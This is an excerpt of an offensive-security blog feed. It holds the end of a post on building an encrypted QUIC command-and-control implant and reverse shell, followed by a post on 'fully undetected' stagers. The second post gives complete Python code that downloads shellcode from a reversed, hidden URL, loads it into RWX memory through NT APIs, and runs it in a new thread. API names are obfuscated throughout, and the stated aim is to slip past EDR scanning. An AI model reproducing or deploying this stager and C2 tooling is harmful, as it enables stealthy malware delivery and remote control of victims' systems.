        <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mi">20</span><span class="p">)</span>
        <span class="n">protocol</span><span class="p">.</span><span class="n">_quic</span><span class="p">.</span><span class="nf">send_ping</span><span class="p">(</span><span class="n">uid</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
        <span class="n">protocol</span><span class="p">.</span><span class="nf">transmit</span><span class="p">()</span>
</code></pre></div></div>

<p>Simple and effective.</p>

<hr />

<h2 id="the-c2-server-quicsvr3py"><strong><em>The C2 Server (quicsvr3.py)</em></strong></h2>

<p>The server uses <code class="language-plaintext highlighter-rouge">aioquic</code>’s <code class="language-plaintext highlighter-rouge">serve()</code> function and handles the same bidirectional stream from the other side.</p>

<h3 id="tls-setup">TLS Setup</h3>

<p>QUIC requires a certificate. Generate a self-signed one before running the server:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'
</code></pre></div></div>

<p>The server loads it like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">config</span> <span class="o">=</span> <span class="nc">QuicConfiguration</span><span class="p">(</span><span class="n">is_client</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">alpn_protocols</span><span class="o">=</span><span class="p">[</span><span class="sh">"</span><span class="s">g3tsyst3m])
config.load_cert_chain(</span><span class="sh">"</span><span class="n">cert</span><span class="p">.</span><span class="n">pem</span><span class="sh">"</span><span class="s">, </span><span class="sh">"</span><span class="n">key</span><span class="p">.</span><span class="n">pem</span><span class="sh">"</span><span class="s">)
config.max_idle_timeout = 600000  # 10 minutes
</span></code></pre></div></div>

<p>The implant sets <code class="language-plaintext highlighter-rouge">verify_mode = ssl.CERT_NONE</code> since it’s self-signed, but the TLS encryption itself is fully active.</p>

<h3 id="download-state-machine">Download State Machine</h3>

<p>This is the trickiest part of the server. On TCP you can just <code class="language-plaintext highlighter-rouge">recv(filesize)</code> in a loop. On QUIC, data arrives in <code class="language-plaintext highlighter-rouge">StreamDataReceived</code> events of arbitrary size. We use a state machine with three states:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">_DL_IDLE</span>      <span class="o">=</span> <span class="sh">"</span><span class="s">idle</span><span class="sh">"</span>
<span class="n">_DL_WAIT_SIZE</span> <span class="o">=</span> <span class="sh">"</span><span class="s">wait_size</span><span class="sh">"</span>   <span class="c1"># waiting for filesize int from implant
</span><span class="n">_DL_RECV_DATA</span> <span class="o">=</span> <span class="sh">"</span><span class="s">recv_data</span><span class="sh">"</span>   <span class="c1"># receiving raw binary
</span></code></pre></div></div>

<p>When a download starts we flip to <code class="language-plaintext highlighter-rouge">_DL_WAIT_SIZE</code>. The first data that arrives is buffered until we can parse the filesize integer. Then we flip to <code class="language-plaintext highlighter-rouge">_DL_RECV_DATA</code> and feed everything into an open file handle until <code class="language-plaintext highlighter-rouge">received &gt;= filesize</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">_write_dl_chunk</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">data</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">):</span>
    <span class="n">remaining</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">_dl_filesize</span> <span class="o">-</span> <span class="n">self</span><span class="p">.</span><span class="n">_dl_received</span>
    <span class="n">chunk</span>     <span class="o">=</span> <span class="n">data</span><span class="p">[:</span><span class="n">remaining</span><span class="p">]</span>
    <span class="n">self</span><span class="p">.</span><span class="n">_dl_file</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>
    <span class="n">self</span><span class="p">.</span><span class="n">_dl_received</span> <span class="o">+=</span> <span class="nf">len</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="n">_dl_received</span> <span class="o">&gt;=</span> <span class="n">self</span><span class="p">.</span><span class="n">_dl_filesize</span><span class="p">:</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_dl_file</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>
        <span class="n">self</span><span class="p">.</span><span class="n">output_buffer</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">DOWNLOAD_DONE|</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="n">_dl_save_path</span><span class="si">}</span><span class="s">|</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="n">_dl_received</span><span class="si">}</span><span class="sh">"</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">_dl_reset</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="upload-stuff">Upload stuff</h3>

<p>Uploading files is satisfying because you get a proper progress bar 😸</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">local_path</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">,</span> <span class="nf">tqdm</span><span class="p">(</span><span class="n">total</span><span class="o">=</span><span class="n">filesize</span><span class="p">,</span> <span class="n">unit</span><span class="o">=</span><span class="sh">"</span><span class="s">B</span><span class="sh">"</span><span class="p">,</span> <span class="n">unit_scale</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span>
                                        <span class="n">desc</span><span class="o">=</span><span class="sa">f</span><span class="sh">"</span><span class="s">Uploading </span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">pbar</span><span class="p">:</span>
    <span class="k">for</span> <span class="n">chunk</span> <span class="ow">in</span> <span class="nf">iter</span><span class="p">(</span><span class="k">lambda</span><span class="p">:</span> <span class="n">f</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="mi">4096</span><span class="p">),</span> <span class="sa">b</span><span class="sh">''</span><span class="p">):</span>
        <span class="n">client</span><span class="p">.</span><span class="nf">send_raw</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>
        <span class="n">pbar</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">chunk</span><span class="p">))</span>
        <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">await asyncio.sleep(0)</code> on each chunk yields back to the event loop so QUIC can actually flush the data. Without that yield you’d buffer the whole file before any of it goes out.</p>

<hr />

<h2 id="putting-it-all-together"><strong><em>Putting It All Together</em></strong></h2>

<iframe width="560" height="315" src="https://www.youtube.com/embed/5qOXDnNApRg" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<hr />

<h2 id="improvements--things-to-keep-in-mind"><strong><em>Improvements / Things to Keep in Mind</em></strong></h2>

<ul>
  <li><strong>No persistence</strong>: The implant doesn’t install itself anywhere. You’d need to add that separately.</li>
  <li><strong>Shell output timing</strong>: The <code class="language-plaintext highlighter-rouge">await asyncio.sleep(0.5)</code> in the shell loop is a timing assumption. Long-running commands may need a longer sleep or a sentinel string like <code class="language-plaintext highlighter-rouge">:endofoutput:</code> (like we did in Part 2) for reliable output capture.</li>
  <li><strong>Single implant</strong>: The server only tracks one connected client at a time via <code class="language-plaintext highlighter-rouge">current_client</code>. Multi-implant support would need a proper client list like I do in my first python series.  This is more to demonstrate how to create an encrypted reverse shell / C2 implant.</li>
  <li><strong>ALPN string</strong> — <code class="language-plaintext highlighter-rouge">"g3tsyst3m"</code> is fine for a lab, but in a real pentest engagement your ALPN should blend in. <code class="language-plaintext highlighter-rouge">"h3"</code> (HTTP/3) would be far less conspicuous.</li>
</ul>

<hr />

<h2 id="wrapping-up"><strong><em>Wrapping Up</em></strong></h2>

<p>We covered a lot of ground today! QUIC gives us an encrypted, UDP-based connection with added stealth not always afforded for your standard c2 / reverse shell connection.  It’s also not commonly used for this purpose so we won’t be as heavily signatured.</p>

<p>Source code: <a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2026-4-30-Building%20an%20Encrypted%20C2%20Implant%20Using%20QUIC">Python Server/Client Source Code</a></p>

<p>Stay tuned for the next post.  I’m likely going to visit Just in Time Shellcode execution next, so see you then!🦉</p>

<h2 id="bonus-content-for-members-all-membership-tiers"><strong><em>Bonus Content for Members! (All Membership Tiers)</em></strong></h2>

<p>🐍 Standalone Python Script that executes Calc.exe using EnumSystemLocalesW: <a href="https://ko-fi.com/s/a8ca3672b0">EnumSystemLocalesW w/ Python Standalone</a></p>

<p><img width="1584" height="858" alt="image" src="https://github.com/user-attachments/assets/1296221c-9f09-4df0-8914-e3d94d5b136e" /></p>

<hr />

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Encrypted Shell" /><category term="Initial Access" /><category term="Python" /><category term="Encryption" /><category term="Encrypted reverse shell" /><category term="C2" /><category term="rat" /><category term="implant" /><category term="QUIC" /><category term="2026" /><category term="g3tsyst3m" /><summary type="html"><![CDATA[Hey everyone! If you’ve been following the blog for a while, you’ll likely recall my python driven C2 series. Today we’re doing something a little different. We’re going to ditch TCP sockets entirely and build a C2 implant that communicates over QUIC. QUIC is an encrypted transport protocol that runs over UDP. If you’ve never heard of QUIC, buckle up, because it’s genuinely cool and increasingly relevant from an offensive security perspective. Let’s get into it!]]></summary></entry><entry><title type="html">Creative approaches to coding FUD Stagers</title><link href="https://g3tsyst3m.com/fud/Creative-approaches-to-coding-FUD-Stagers/" rel="alternate" type="text/html" title="Creative approaches to coding FUD Stagers" /><published>2026-03-29T00:00:00+00:00</published><updated>2026-03-29T00:00:00+00:00</updated><id>https://g3tsyst3m.com/fud/Creative%20approaches%20to%20coding%20FUD%20Stagers</id><content type="html" xml:base="https://g3tsyst3m.com/fud/Creative-approaches-to-coding-FUD-Stagers/"><![CDATA[<p>I have had several discussions over the years with folks on tackling EDR bypass as it pertains to fully undetected <code class="language-plaintext highlighter-rouge">(FUD)</code> code.  In my opinion, there isn’t really a perfect silver bullet approach to tackling FUD.  Especially with ML (machine learning) / AI integrated in most modern EDR solutions, you really have to adjust your approach to FUD as you go.  I will say that I truly believe script interpreter type languages such as Python, Ruby, Perl, even PHP, are great candidates to meet this need.  Scripting languages are not heavily scrutinized when we’re comparing with compiled (PE executable) code.  Now I can already hear the disgruntled offsec folks questioning my rationale when they have tried countless times to make their powershell and javascript/vbscript code into FUD worthy code.  I get it and I’m with you.  It’s not a one size fits all right?  Powershell, while also a script interpreter type language, has been so abused by threat actors that it’s incredibly difficult to tackle FUD due to its prolific use in malicious campaigns, but it’s certainly not impossible.  Let’s get to it!</p>

<h2 id="fud-stager-variant-1">FUD Stager Variant #1</h2>

<p><strong>High Level Overview for The First Stager Concept</strong></p>

<ul>
  <li>Construct a URL via string reversal to obscure its destination (SCODE_U[::-1])</li>
  <li>Download raw shellcode from that URL</li>
  <li>Allocate RWX memory via NtAllocateVirtualMemory (NT-layer to dodge API monitoring)</li>
  <li>Copy shellcode into that region</li>
  <li>Execute it via NtCreateThreadEx, evasion-motivated</li>
  <li>API names are obfuscated via string reversal throughout the code (_api, _api2, etc.)</li>
</ul>

<p><strong>In brief:</strong> This is a simple dropper/stager that downloads and executes shellcode in-memory, and avoids writing anything to disk.</p>

<h2 id="part-1---bypassing-static-analysis-overview">Part 1 - Bypassing Static Analysis Overview</h2>

<p>The initial approach I usually take is to use simple yet effective techniques to help prevent familiar static analysis detection.  For starters, I want to:</p>

<ul>
  <li>Avoid string detection for APIs we will use in the code</li>
  <li>Rename and/or shorten the name of familiar offsec terms used throughout our code like shellcode -&gt; scode, download shellcode -&gt; dwnlod_scode, and so on.</li>
  <li>Reverse our variable names and other strings used in our code and correct them at time of execution
    <ul>
      <li><strong>_api</strong> = “yromeMlautriVetacollAtN”</li>
      <li><strong>SCODE_U</strong> = “onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth”</li>
    </ul>
  </li>
</ul>

<p><strong>Why string detection matters</strong></p>

<p>Most static analysis engines, whether signature-based or ML-assisted, are doing some form of token scoring. Strings like <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, <code class="language-plaintext highlighter-rouge">CreateThread</code>, <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code>, and <code class="language-plaintext highlighter-rouge">shellcode</code> carry heavy malicious weight in any trained model. They show up constantly in malware samples, so their mere presence pushes a file’s score upward fast. The goal isn’t to be invisible, it’s to stay below the threshold that triggers a block or quarantine action.</p>

<p>Reversing our API strings and resolving them at runtime is about as low-effort as obfuscation gets, and I like low effort code. 😈  It works because static analysis by definition can’t execute your code to unwind it. An engine scanning bytes on disk sees <code class="language-plaintext highlighter-rouge">"yromeMlautriVetacollAtN"</code> — an unrecognized string that scores essentially zero on its own. 😸</p>

<p><strong>Variable names Matter!</strong></p>

<p>This one is almost embarrassingly simple, but don’t underestimate it. Variable names, function names, and comments all end up as strings in your source or bytecode. A function called download_shellcode is a gift to any analyst or automated scanner. dwnlod_scode isn’t clever enough to fool a human analyst for long, but you’re not trying to fool a human analyst at static analysis time — you’re trying to slip past automated pre-execution scoring.</p>

<h2 id="part-2---downloading-the-shellcode-in-memory">Part 2 - Downloading the Shellcode in Memory</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>  
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>  <span class="c1"># Stream for large files 
</span>        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>  <span class="c1"># Load fully into bytes
</span>        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Dwnlded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes of scode</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Dwnld failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">None</span>
</code></pre></div></div>

<p>In the code above is pretty straightforward.  My shellcode is located in a file that resides on my Github repo and I’ve reversed the URL string to thwart static analysis efforts.  I’ve also renamed the file extension to something random, in this case <code class="language-plaintext highlighter-rouge">.dyno</code> as that is not a typical windows file extension and it will not receive as much scrutiny as say a <code class="language-plaintext highlighter-rouge">.bin</code> file extension.  Finally, we return the bytes of the shellcode we just downloaded in the shel_ly variable.</p>

<h2 id="part-3---eggsecuting-shellcode-in-memory-">Part 3 - Eggsecuting Shellcode in Memory 🥚</h2>

<p>I always like to keep things simple to start, just to see how much I can get away with before detection 😸  In this case, I was able to avoid using advanced methods such as Syscalls and/or further advanced techniques to inject our shellcode and the code remained undetected.  I didn’t keep things so simple as to still use the basic kernel32 APIs though. 😏  Instead, we will be making use of the low level NT APIs to help increase our chances of success as far as code exection without detection.</p>

<blockquote>
  <p>Here’s how everything is laid out in the <code class="language-plaintext highlighter-rouge">eggsecute_scode</code> function:</p>
</blockquote>

<p><strong>Obfuscated Windows API calls</strong></p>

<p>Our code uses string reversal once again to hide the real API names from simple string scanners:</p>

<ul>
  <li>“eldnaHesolC”[::-1] → CloseHandle</li>
  <li>“tcejbOelgniSroFtiaW”[::-1] → WaitForSingleObject</li>
  <li>“yromeMlautriVetacollAtN”[::-1] → NtAllocateVirtualMemory</li>
  <li>“xEdaerhTetaerCtN”[::-1] → NtCreateThreadEx</li>
  <li>“evommem”[::-1] → memmove</li>
</ul>

<p><strong>Allocating executable memory using NT APIs</strong></p>

<p>We use <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code> (our low-level kernel32 API equivalent from ntdll) to request a block of memory in the current process with these familiar permissions:</p>

<blockquote>
  <table>
    <tbody>
      <tr>
        <td>MEM_COMMIT</td>
        <td>MEM_RESERVE</td>
      </tr>
    </tbody>
  </table>

  <p>PAGE_EXECUTE_READWRITE (RWX — readable, writable, and executable)</p>
</blockquote>

<p>This is as basic as it gets as far as demonstrating a classic allocation of RWX memory</p>

<p><strong>Copy the shellcode into memory and Execute it!</strong></p>

<p>We now use memmove to copy the previously downloaded shellcode bytes directly into the newly allocated executable memory region.  Finally, as is typical in standard shellcode execution convention, we create a thread to run our shellcode.</p>

<p>We will use the low level <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code> API to spawn a new thread inside our current process, with the starting address set to the beginning of the shellcode. Lastly, we wait up to 10 seconds for the thread to finish (<code class="language-plaintext highlighter-rouge">WaitForSingleObject</code>) and then close the thread handle.</p>

<p>Here’s what that entire function looks like in terms of code:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">eggsecute_scode</span><span class="p">(</span><span class="n">scode2</span><span class="p">):</span>
    <span class="c1"># Constants
</span>    <span class="n">MEM_COMMIT</span> <span class="o">=</span> <span class="mh">0x1000</span>
    <span class="n">MEM_RESERVE</span> <span class="o">=</span> <span class="mh">0x2000</span>
    <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">=</span> <span class="mh">0x40</span>

    <span class="n">kernel32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
    <span class="n">ntdll</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">ntdll</span>
    
    <span class="n">_api4</span> <span class="o">=</span> <span class="sh">"</span><span class="s">eldnaHesolC</span><span class="sh">"</span>
    <span class="n">closingtime</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api4</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">closingtime</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">closingtime</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="p">]</span>
    
    <span class="n">_api3</span> <span class="o">=</span> <span class="sh">"</span><span class="s">tcejbOelgniSroFtiaW</span><span class="sh">"</span>
    <span class="n">waitinaround</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api3</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>   <span class="c1"># dwMilliseconds
</span>    <span class="p">]</span>
    
    <span class="n">_api</span> <span class="o">=</span> <span class="sh">"</span><span class="s">yromeMlautriVetacollAtN</span><span class="sh">"</span>  <span class="c1"># 
</span>    <span class="n">Allocator</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">Allocator</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">BOOL</span>
    <span class="n">Allocator</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">LPVOID</span><span class="p">),</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">),</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="p">]</span>
    
    <span class="n">_api2</span> <span class="o">=</span> <span class="sh">"</span><span class="s">xEdaerhTetaerCtN</span><span class="sh">"</span>
    <span class="n">thred_the_needle</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api2</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">LONG</span>  <span class="c1"># NTSTATUS
</span>    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">),</span>   <span class="c1"># ThredHandel (out)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># DesiredAccess
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># ObjectAttributes
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>                   <span class="c1"># ProcessHandle
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># StartRoutine (your scode addr)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># Argument
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># CrateFlags (0 = run immediately)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># ZeroBits
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># StackSize
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># MaximumStackSize
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># AttributeList
</span><span class="p">]</span>
    
    <span class="n">addr</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">LPVOID</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">size</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nf">c_size_t</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
    <span class="n">current_process</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">status</span> <span class="o">=</span> <span class="nc">Allocator</span><span class="p">(</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">addr</span><span class="p">),</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">size</span><span class="p">),</span>
        <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span>
        <span class="n">PAGE_EXECUTE_READWRITE</span>
    <span class="p">)</span>
    
    <span class="k">if</span> <span class="n">status</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>  <span class="c1"># NTSTATUS 0 = success
</span>        <span class="n">mem_addr</span> <span class="o">=</span> <span class="n">addr</span><span class="p">.</span><span class="n">value</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Allcted mem at: 0x</span><span class="si">{</span><span class="n">mem_addr</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">_api0</span> <span class="o">=</span> <span class="sh">"</span><span class="s">evommem</span><span class="sh">"</span>  
        <span class="n">m3mMov3r</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ctypes</span><span class="p">,</span> <span class="n">_api0</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
        
        <span class="nf">m3mMov3r</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">scode2</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] Scode copied to memory</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">h_thread</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
        <span class="n">status2</span> <span class="o">=</span> <span class="nf">thred_the_needle</span><span class="p">(</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">h_thread</span><span class="p">),</span>
        <span class="mh">0x1FFFFF</span><span class="p">,</span>                          <span class="c1"># THRED_ALL_ACCESS
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">cast</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">),</span>  <span class="c1"># scode start address
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>                                 <span class="c1"># no flags, start immediately
</span>        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="bp">None</span>
        <span class="p">)</span>
        
        <span class="k">if</span> <span class="n">status2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Thredded Needle!</span><span class="sh">"</span><span class="p">)</span>
            
            <span class="nf">waitinaround</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="mi">10000</span><span class="p">)</span>
            <span class="nf">closingtime</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] thred_the_needle failed: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">status2</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Allocator failed (NTSTATUS: 0x</span><span class="si">{</span><span class="n">status</span><span class="si">:</span><span class="mi">08</span><span class="n">X</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="bringing-it-all-together">Bringing it all together</h2>

<blockquote>
  <p>Code Execution:</p>
</blockquote>

